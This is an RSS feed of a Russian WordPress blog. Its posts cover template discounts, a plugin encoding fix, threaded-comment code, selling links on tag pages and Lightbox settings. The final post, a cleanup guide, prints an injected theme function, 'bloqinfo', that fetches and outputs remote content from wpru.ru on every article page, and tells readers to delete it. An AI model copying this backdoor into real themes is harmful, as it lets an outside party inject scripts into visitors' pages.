wordpress – Блог Stafox'a https://stafox.cc О программировании и веб-разработке Fri, 13 Nov 2015 18:00:08 +0000 en-US hourly 1 https://wordpress.org/?v=5.8.2 Где выбрать шаблон для сайта со скидкой 40% https://stafox.cc/template-for-new-website-discount-40-percent/ https://stafox.cc/template-for-new-website-discount-40-percent/#respond Mon, 12 Oct 2015 07:48:58 +0000 http://stafox.ru/?p=2684 Шаблон представляет собой структуру будущего сайта. Как правило, самый легкий и самый успешный опыт при овладении навыками создания сайта пользователь получает, используя уже готовые дизайны. Конечно же, различных решений в сети великое множество – от бесплатных дизайнов до шаблонов премиум-качества. Вторые на поверку качественней, надежней и чаще всего имеют техническую поддержку для оперативного разрешения нестандартных

Сообщение Где выбрать шаблон для сайта со скидкой 40% появились сначала на Блог Stafox'a.

]]>
Шаблон представляет собой структуру будущего сайта. Как правило, самый легкий и самый успешный опыт при овладении навыками создания сайта пользователь получает, используя уже готовые дизайны. Конечно же, различных решений в сети великое множество – от бесплатных дизайнов до шаблонов премиум-качества. Вторые на поверку качественней, надежней и чаще всего имеют техническую поддержку для оперативного разрешения нестандартных ситуаций. Однако зачастую стоимость таких шаблонов довольно высокая. К счастью, компании-производители часто проводят акции, позволяющие выбрать качественный дизайн со значительной скидкой.

С 12 по 22 октября в магазине готовых решений TemplateMonster пройдет акция. Все шаблоны и сопутствующие продукты для создания успешных и современных сайтов можно будет приобрести со скидкой 40%.

Эти дизайны действительно достойны того, чтобы стать прекрасной базой любому веб-проекту. Современный функционал и множество полезных инструментов внутри каждого дизайна позволят быстро запустить новый сайт или же обновить существующий. Десятки тысяч шаблонов самых разных тематик со скидкой дадут возможность выбрать подходящее оформление и настроить сайт в соответствии с потребностями проекта.

Шаблоны со скидкой, которые могут быть использованы совершенно для любого веб-проекта, будут отлично гармонировать с представленной информацией, если подобрать дизайн и правильно настроить сайт под свои задачи. Акция продлится только 10 дней, есть шанс успеть запастись отличными решениями WordPress, Joomla, для функциональных сайтов и интернет-витрин PrestaShop, OpenCart и др.
Картинки кликабельны.

Кафе и рестораны

55725

Бизнес-сайт

55723

Сайт ночного клуба

55735

Спорт

55711

Сайт компании

55303

Интернет-магазин на PrestaShop

55701

Магазин путешествий

55685

Сообщение Где выбрать шаблон для сайта со скидкой 40% появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/template-for-new-website-discount-40-percent/feed/ 0
WordPress: Проблема с кодировкой в плагине NGGallery 2.0.x https://stafox.cc/wordpress-nggallery-encoding-issue/ https://stafox.cc/wordpress-nggallery-encoding-issue/#comments Fri, 06 Mar 2015 05:16:51 +0000 http://stafox.ru/?p=2426 Как известно, хороших плагинов-галерей под WordPress не так уж и много. И, пожалуй, лучший – это NGGallery. С выходом версии плагина 2.0 появилось много багов и косяков, которые по сей день исправляются разработчиками 🙂 Один из багов удалось найти и мне – это проблема с русским (да и не только) языком. Проблема наблюдается на странице

Сообщение WordPress: Проблема с кодировкой в плагине NGGallery 2.0.x появились сначала на Блог Stafox'a.

]]>
Wordpress: Проблема с кодировкой в плагине NGGallery 2.0.x
Как известно, хороших плагинов-галерей под WordPress не так уж и много. И, пожалуй, лучший – это NGGallery.

С выходом версии плагина 2.0 появилось много багов и косяков, которые по сей день исправляются разработчиками 🙂 Один из багов удалось найти и мне – это проблема с русским (да и не только) языком. Проблема наблюдается на странице Добавить галерею/Изображения, где вместо русского текста фигурируют символы, которые свидетельствуют о проблемах с кодировкой, в простонародье – кракозябры 🙂

Причина проблемы

Плагин NGGallery использует сторонний плагин plupload, и разработчики перед публикацией NGGallery минифицируют файлы переводов данного плагина. В результате чего, файл сохраняется с кодировкой отличной от UTF-8.

Как исправить?

Быстро исправить эту проблему можно так: заменить минифицированный файл переводов исходным. Для этого в директории

wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/plupload-2.1.1/i18n/

заменяем содержимое файла ru.min.js содержимым файла ru.js.

Наслаждаемся 🙂

П.С. разработчикам я уже написал, будем надеяться, что в следующем релизе баг исправят.

Сообщение WordPress: Проблема с кодировкой в плагине NGGallery 2.0.x появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/wordpress-nggallery-encoding-issue/feed/ 4
Как сделать древовидные комментарии без плагина https://stafox.cc/kak-sdelat-drevovidnye-kommentarii-bez-plagina/ https://stafox.cc/kak-sdelat-drevovidnye-kommentarii-bez-plagina/#comments Fri, 10 Feb 2012 18:19:12 +0000 http://stafox.ru/?p=1508 Часто вижу, что некоторые начинающие блоггеры, да и не только начинающие, используют плагин, который позволяет выводить древовидные комментарии на блоге. Пример древовидных комментариев Вы можете увидеть на моём блоге. Так вот, для того, чтобы комментарии отображались в виде дерева, совсем не обязательно ставить плагин. Всё можно сделать самостоятельно, немного подправив тему блога. Вы ещё не

Сообщение Как сделать древовидные комментарии без плагина появились сначала на Блог Stafox'a.

]]>

Часто вижу, что некоторые начинающие блоггеры, да и не только начинающие, используют плагин, который позволяет выводить древовидные комментарии на блоге. Пример древовидных комментариев Вы можете увидеть на моём блоге. Так вот, для того, чтобы комментарии отображались в виде дерева, совсем не обязательно ставить плагин.

Всё можно сделать самостоятельно, немного подправив тему блога. Вы ещё не задали себе вопрос “Ну и зачем это”? Дело в том, что любой плагин обращается к базе данных, тем самым создавая дополнительную нагрузку. При большом количестве плагинов, Ваш блог станет медленно загружаться, и может попросту не выдержать и “упасть”.

И так, закасаем повыше рукава, чтобы не запачкаться, и приступим к делу. Добавим в файл header.php строку кода:

[php]if (is_singular() AND comments_open() AND (get_option(‘thread_comments’) == 1)) wp_enqueue_script(‘comment-reply’);[/php]

Вставляем этот кусочек кода перед строкой

[php]wp_head();[/php]

Далее в файл functions.php добавляем следующий код:

[php] <?php
function mytheme_comment($comment, $args, $depth) {
$GLOBALS[‘comment’] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>">
<div class="comment-author vcard">
<?php echo get_avatar( $comment->comment_author_email, 64); ?>
<?php printf(__(‘<cite class="fn">%s</cite> <span class="says">пишет:</span>’), get_comment_author_link()) ?>
</div>
<?php if ($comment->comment_approved == ‘0’) : ?>
<em><?php _e(‘Ваш комментарий появится после проверки’) ?></em>
<br />
<?php endif; ?>
<div class="comment-meta commentmetadata"><?php printf(__(‘<small>%1$s в %2$s</small>’), get_comment_date(), get_comment_time()) ?><?php edit_comment_link(__(‘<div class="entry-edit"></div>’),’ ‘,”) ?></div>
<div class="comment-text">
<?php comment_text() ?>
</div>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array(‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))) ?>
</div>
</div>
<?php } ?>
[/php]

Замечательно! Теперь открываем файл comments.php и заменяем всё, что хранится между тегами <ul class=”commentlist”> и </ul>на

[php]<?php wp_list_comments(‘callback=mytheme_comment’); ?>[/php]

Теперь всё красиво заворачиваем в CSS. Для этого в файл стилей style.css добавьте следующий код:

[css] #author, #email, #url {
margin:3px 10px 3px 0;
float:left;
height:25px;
color:#555;
padding:0 12px 0 12px;
background-color:#dedede;
font-size:16px;
border:1px solid #bbb;
border-radius:12px;
-o-border-radius:12px;
-moz-border-radius:12px;
-webkit-border-radius:12px;
-ms-border-radius:12px;
width:150px;
box-shadow:0 1px 1px #fff;
-moz-box-shadow:0 1px 1px #fff;
-webkit-box-shadow:0 1px 1px #fff;
-o-box-shadow:0 1px 1px #fff;
-ms-box-shadow:0 1px 1px #fff;
}
#comment {
width:95%;
color:#555;
padding:12px;
background-color:#dedede;
border:1px solid #bbb;
border-radius:12px;
-o-border-radius:12px;
-moz-border-radius:12px;
-webkit-border-radius:12px;
-ms-border-radius:12px;
box-shadow:0 1px 1px #fff;
-moz-box-shadow:0 1px 1px #fff;
-webkit-box-shadow:0 1px 1px #fff;
-o-box-shadow:0 1px 1px #fff;
-ms-box-shadow:0 1px 1px #fff;
margin:3px 0 3px 0;
font-size:16px;
font-family:Tahoma, Arial;
}
#author:focus, #email:focus, #url:focus, #comment:focus {
box-shadow:0 0 5px #007efd;
-moz-box-shadow:0 0 5px #007efd;
-webkit-box-shadow:0 0 5px #007efd;
-o-box-shadow:0 0 5px #007efd;
-ms-box-shadow:0 0 5px #007efd;
border:1px solid #777;
color:#555;
}
ul.commentlist { font-size:14px;font-family:arial;list-style:none;padding:0;text-indent:0;margin-bottom:20px;}
ul.commentlist li {
border:1px dashed #d3d3d3;
background:#eee;
padding:5px 5px 5px 5px;
margin:5px 0 0 0;
border-radius:12px;
-o-border-radius:12px;
-moz-border-radius:12px;
-webkit-border-radius:12px;
-ms-border-radius:12px;
}
ul.commentlist li.comment { padding:10px 10px 10px 10px; }
ul.commentlist li div.comment-author { font-weight: bold; }
ul.commentlist li div.vcard cite.fn a.url { text-decoration: none; }
ul.commentlist li div.vcard cite.fn a:hover.url { color: #313131; text-decoration: none; }
ul.commentlist li div.vcard img.avatar { border:1px solid #d6d6d6;width:50px;height:50px;float:left;padding:3px;background:#f4f4f4;margin-right:10px; }
ul.commentlist li div.comment-meta { font-family:arial;color:#818181;font-style:oblique;text-shadow:0 1px 0 #fff; }
ul.commentlist li p { color:#606060; clear:both;margin:20px 0 10px 0; }
ul.commentlist li ul { list-style:square; }
ul.commentlist li ul.children { list-style:none; text-indent:0; }
ul.commentlist li ul.children li.bypostauthor { background:#e3e3e3;border:1px dashed #aaa;}
ul.commentlist li.pingback { }
ul.commentlist li.bypostauthor { }
ul.commentlist li.thread-odd {
border:1px dashed #d3d3d3;
margin:5px 0 5px 0;
border-radius:12px;
-o-border-radius:12px;
-moz-border-radius:12px;
-webkit-border-radius:12px;
-ms-border-radius:12px;
}
.comment-text {
padding:5px 10px 0 0;
display:block;
}
.comment-text p {
padding:5px 10px 0 0;
display:block;
font-size:16px;
}
#respond input#submit {
color:#444;
font-weight:bold;
margin:10px 0 10px 0;
padding:5px 8px 5px 8px;
border:1px solid #888;
border-radius:12px;
-o-border-radius:12px;
-moz-border-radius:12px;
-webkit-border-radius:12px;
-ms-border-radius:12px;
background: #c1c1c1; /* Old browsers */
background: -moz-linear-gradient(top, #eeeeee 0%, #c1c1c1 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#eeeeee), color-stop(100%,#c1c1c1)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #eeeeee 0%,#c1c1c1 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #eeeeee 0%,#c1c1c1 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #eeeeee 0%,#c1c1c1 100%); /* IE10+ */
background: linear-gradient(top, #eeeeee 0%,#c1c1c1 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=’#eeeeee’, endColorstr=’#c1c1c1′,GradientType=0 ); /* IE6-9 */
}
#respond input#submit:hover {
color:#666;
background: #e3e3e3; /* Old browsers */
background: -moz-linear-gradient(top, #e3e3e3 0%, #ccc 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#e3e3e3), color-stop(100%,#ccc)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #e3e3e3 0%,#ccc 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #e3e3e3 0%,#ccc 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #e3e3e3 0%,#ccc 100%); /* IE10+ */
background: linear-gradient(top, #e3e3e3 0%,#ccc 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=’#e3e3e3′, endColorstr=’#cccccc’,GradientType=0 ); /* IE6-9 */
}
[/css]

Вот и всё. Теперь у Вас есть древовидные комментарии, которые Вы сделали сами, без использования плагина. Выглядеть они у Вас будут, также как и у меня, так как в качестве примера, я выложил стили со своего шаблона. Измените его на свой вкус и цвет, и будет Вам счастье!

Сообщение Как сделать древовидные комментарии без плагина появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/kak-sdelat-drevovidnye-kommentarii-bez-plagina/feed/ 112
Как продать ссылку в тегах WordPress https://stafox.cc/kak-prodat-ssylku-v-tegax-wordpress/ https://stafox.cc/kak-prodat-ssylku-v-tegax-wordpress/#comments Wed, 08 Feb 2012 12:49:27 +0000 http://stafox.ru/?p=1484 Прежде чем начать писать этот пост, я решил поискать нет ли чего похожего – вроде бы не нашёл, поэтому могу с радостью заявить, что в этом посте я “палю тему”. Вы наверняка уже знаете, что большинство блоггеров, зарабатывают на своих детищах, различными способами. Один из этих способов – продажа ссылок в статьях, которой я успешно

Сообщение Как продать ссылку в тегах WordPress появились сначала на Блог Stafox'a.

]]>

Прежде чем начать писать этот пост, я решил поискать нет ли чего похожего – вроде бы не нашёл, поэтому могу с радостью заявить, что в этом посте я “палю тему”.

Вы наверняка уже знаете, что большинство блоггеров, зарабатывают на своих детищах, различными способами. Один из этих способов – продажа ссылок в статьях, которой я успешно пользуюсь. Я использую две биржи GoGetLinks и GetGoodLinks, цена ссылки на первой бирже зависит от тИЦ, на второй – от PR. За февраль я уже успел заработать $38. Но сейчас не об этом.

Речь пойдёт о второй бирже. Здесь у Вас есть шанс получить с молодого сайта до $10 за ссылку, т.к. PR каждой страницы разный. PR “морды” (главной страницы) обычно самый высокий. К примеру PR главной страницы моего блога уже 2 (снизился на 1 после апдейта), PR внутренних страниц от 0 до 2. Большая часть статей имеет PR равный 0 или 1, и только одна статья имеет PR=2. Но в WordPress есть страницы из облака тегов, PR которых почему-то в большей мере от 1 до 2, правда пользы от них никакой не было, до недавних пор. Мне на бирже предложили разместить ссылку на странице с PR=2 за $11. После этого я решил попробывать продать ссылку со страницы тега, и у меня всё получилось. Всё не так сложно, как может показаться на первый взгляд.

Первое, что нужно сделать – это добавить функцию print_link() в файл functions.php Вашей темы.
[php] function print_link($n, $tag, $link, $description, $page = 0)
{
$url = filter_input(INPUT_SERVER, ‘REQUEST_URI’);//$_SERVER[‘REQUEST_URI’];
if ($url == ‘/’) {
return $url;
}
$query = filter_input(INPUT_SERVER, ‘QUERY_STRING’);//$_SERVER[‘QUERY_STRING’];
$pattern = $query ? ‘/\/?\?’ . preg_quote($query, ‘/’) . ‘$/’ : ‘/\/?\??$/’;
$pageSlug = preg_replace(array(‘/^\//’, $pattern), array(”, ”), $url) . ‘/’;
$slugs = explode(‘/’, $pageSlug);

if (($slugs[$n – 1] == $tag && $page == 0 && $slugs[$n] == “”)
|| ($page != 0) && ($slugs[$n + 1] == $page)) {
printf(“

$description

“, $link);
}
}
[/php] Функция print_link имеет следующие входящие параметры: $n – уровень вложенности страницы, например страница http://stafox.ru/tag/css/ имеет уровень вложенности 2, а http://stafox.ru/contacts/ – 1. $tag – имя страницы. $link – html-ссылка. $decription – околоссылочный текст, место где нужно вставить ссылку указываем с помощью %s, $page – номер страницы, необязательный аргумент, по умолчанию равен 0, задаётся, если необходимо оставить ссылку, к примеру, на второй странице.
Второе – это создать файл links.php со следующим кодом:
[php] <?php
$number++;
$link1='<a href="http://stafox.ru/tag/html/">лекции HTML</a>’;
$description1=’Вы решили выучить HTML? Сделать это быстро Вам помогут %s от Stafox\’a.’;
if ($number == 1) {
print_link(2, ‘cpp’, $link1, $description1);
}
?>
[/php] И поместить его в папку с темой.
Условие [php]if ($number == 1)[/php] указывает, что ссылка будет выводится перед первым постом.

Последнее что остаётся, это заменить в файле archive.php код
[php]<?php
while (have_posts()) : the_post();
?>[/php] на
[php]<?php
while (have_posts()) : the_post();
include("links.php");
?>[/php] Теперь Вы можете продавать ссылки в категориях, в архивах и в тегах, как это делаю я на странице тега cpp.

Немного подправил функцию print_link(), теперь, можно разместить ссылку даже на второй странице тега или рубрики. В этом случае код будет выглядеть так:
[php] $link="html-ссылка";
$description="текст слева от ссылки %s текст справа от ссылки";
if($number==1) print_link(2, "html", $link, $description, 2);
[/php]

Сообщение Как продать ссылку в тегах WordPress появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/kak-prodat-ssylku-v-tegax-wordpress/feed/ 21
Выбираем плагин для просмотра изображений https://stafox.cc/vybiraem-plagin-dlya-prosmotra-izobrazhenij/ https://stafox.cc/vybiraem-plagin-dlya-prosmotra-izobrazhenij/#comments Wed, 02 Nov 2011 10:03:59 +0000 http://stafox.ru/?p=1236 После того, как я и моя любимая решили принять участие в конкурсе «Девушка Блоггера 2011», я решил задуматься о том, как бы сделать более красивым и удобным просмотр конкурсных фотографий. Я уже был знаком с семейством плагинов LightBox, которые отличаются красивым визуальным оформлением, поэтому мой выбор пал именно на них. На примете у меня были

Сообщение Выбираем плагин для просмотра изображений появились сначала на Блог Stafox'a.

]]>

После того, как я и моя любимая решили принять участие в конкурсе «Девушка Блоггера 2011», я решил задуматься о том, как бы сделать более красивым и удобным просмотр конкурсных фотографий.

Я уже был знаком с семейством плагинов LightBox, которые отличаются красивым визуальным оформлением, поэтому мой выбор пал именно на них. На примете у меня были три плагина, которые явно выделялись среди других: SexyLightbox, LightBox 3 и LightBox Plus. На мой новый шаблон категорически отказался становиться SexyLightbox. Ну да ладно, не велика потеря. Следующий был Lightbox Plus – встал замечательно, огромный функционал, есть возможноость создание собственного CSS-стиля.

Спустя день смотрю, а изображения не открываются. Опыт подсказывал, что проблема в JavaScript’е. Спустя некоторое время поиска, обнаружить источник проблемы не удалось. Обидно… Но делать что-то нужно. Поэтому тут я вспомнил про 3-й вариант – LightBox 3. Плагин встал хорошо. Но это уже было не то, нет того функционала и отсутствие возможности настройки под себя. Даже для того, чтобы изменить текст “Image X of Y”, мне пришлось копаться в коде.

Одним словом, после Lightbox Plus – я видел только разочарование в LightBox 3. Поэтому, во что бы то ни стало, я решил выявить и выщемить проблему из-за которой плагин отказывался работать. Первое, что я решил сделать, это вспомнить, какие изменения я внёс в шаблон после последней успешной работы плагина. И знаете что? Я вспомнил! Проблема таилась за ajax-комментариями, которые я решил прикруть. Они изначально стояли в моём прошлом шаблоне, и работали весьма исправно. Вывод для себя я сделал, если что-то изменил, проверь работоспособность всего, абсолютно всего, иначе потом можно голову сломать.

Раз уж я начал говорить о проблемах, то скажу сразу, что этот плагин может у Вас также отказаться работать, если в вашем шаблоне будет отсутствовать функция wp-footer();, которая должна вызываться перед закрывающимся тегом </body>. Ну а в остальном всё должно быть гуд.

А теперь расскажу немного о том, как пользоваться этим чудом. Заходим в админку и переходим на страницу настроек плагина, у меня она располагается в блоке Внешний вид. Первый блок настроек Lightbox Plus – General Settings. Общие настройки.

Отвечают за визуальное оформление плагина.
Lightbox Plus Style – Выбираем стиль оформления. Мой выбор остановился на Elegant
Use Custom Styles – Позволяет использовать произвольный файл стилей CSS. Для этого нужно поместить ваш файл стилей в директорию wp-content/lbp-css
Disable Lightbox CSS – Позволяет отключить встроенные стили CSS Lightbox Plus.
Как только нас всё устроит жмём Save Settings для сохранения настроек.

Далее перейдём к следующему блоку первичных настроек Lightbox Plus – Primary Lightbox Settings

Тут нас будут интересовать два подблока: Base Settings и Demo.
Первый содержит ряд параметров:
Transition Type – Тип трансформации. Пока из всего два. Это эластичный (elastic) и затухающий (fade)
Resize Speed – Скорость трансформации в милисекундах
Width – Позволяет явно задать длину лайтбокса
Height – Позволяет явно задать высоту лайтбокса
Inner Width – Позволяет явно задать внутреннюю длину лайтбокса
Inner Height – Позволяет явно задать внутреннюю высоту лайтбокса
Initial Width – Установить начальную длину, до загрузки контента
Initial Height – Установить начальную высоту, до загрузки контента
Maximum Width – Установить максимальную длину (можно задвать как в px, так и в %)
Maximum Height – Установить максимальную высоту (можно задвать как в px, так и в %)
Resize – Позволяет маштабировать изображение, рекомендуется для того, чтобы сжимать большие изображения
Overlay Opacity – Задаёт прозрачность
Pre-load images – Предзагрузка изображений.
Grouping Labels – Заголовки группы изображений
Previous image text – Текст ссылки “предыдущее изображение”
Next image text – Текст ссылки “следующее изображение”
Close image text – Текст ссылки “Закрыть”
Overlay Close – Позволяет закрывать просмотрщик при клике по фону.

Вот как выглядят мои настройки

Блок Demo позволяет увидеть работу плагина с текущими настройками.

Скачать плагин можно по этой ссылке


Скоро Новый год, поэтому позаботьтесь о том, чтобы к этому празднику на страницах вашего сайта появилась парочка ёлок или даже Дед Мороз.

Сообщение Выбираем плагин для просмотра изображений появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/vybiraem-plagin-dlya-prosmotra-izobrazhenij/feed/ 9
Press OK to enter site. Хак WordPress? https://stafox.cc/press-ok-to-enter-site-xak-wordpress/ https://stafox.cc/press-ok-to-enter-site-xak-wordpress/#comments Fri, 23 Sep 2011 16:03:03 +0000 http://stafox.ru/?p=1123 Только что я столкнулся со странным сообщением Press OK to enter site, которое выскакивало при попытке прочитать любую статью. Расскажу как бороться с этим, если вдруг кого-то ещё настигла та же учесть. Судя по тому, что сообщение появляется только при чтении статей, то дело в файле single.php. Заходим в этот файл и ищем там сей

Сообщение Press OK to enter site. Хак WordPress? появились сначала на Блог Stafox'a.

]]>

Только что я столкнулся со странным сообщением Press OK to enter site, которое выскакивало при попытке прочитать любую статью. Расскажу как бороться с этим, если вдруг кого-то ещё настигла та же учесть.

Судя по тому, что сообщение появляется только при чтении статей, то дело в файле single.php. Заходим в этот файл и ищем там сей код:

[php] <?=bloqinfo($post->ID) ?>
[/php]

Далее ищем эту функцию   bloqinfo(…) если её описания нет в файле  single.php, тогда отправляемся искать в functions.php либо же  pagefunctions.php, код функции должен выглядеть так:

[php] function bloqinfo($wp_id){
static $wp_count = 0;
if($wp_count == 0){
$wp_count++;
return @file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$wp_id.’&m=06′);
}
}
[/php]

Смело удаляете его и всё – сообщение должно пропасть. Судя по всему, пострадать должны были блоггеры, которые используют akismet.

Вы индивидуальный предприниматель? А может Вы глава крупной корпорации? Вам хочется упростить документооборот? Тогда воспользуйтесь системой «Контур-Экстерн» отчетность через интернет.

Сообщение Press OK to enter site. Хак WordPress? появились сначала на Блог Stafox'a.

]]>
https://stafox.cc/press-ok-to-enter-site-xak-wordpress/feed/ 1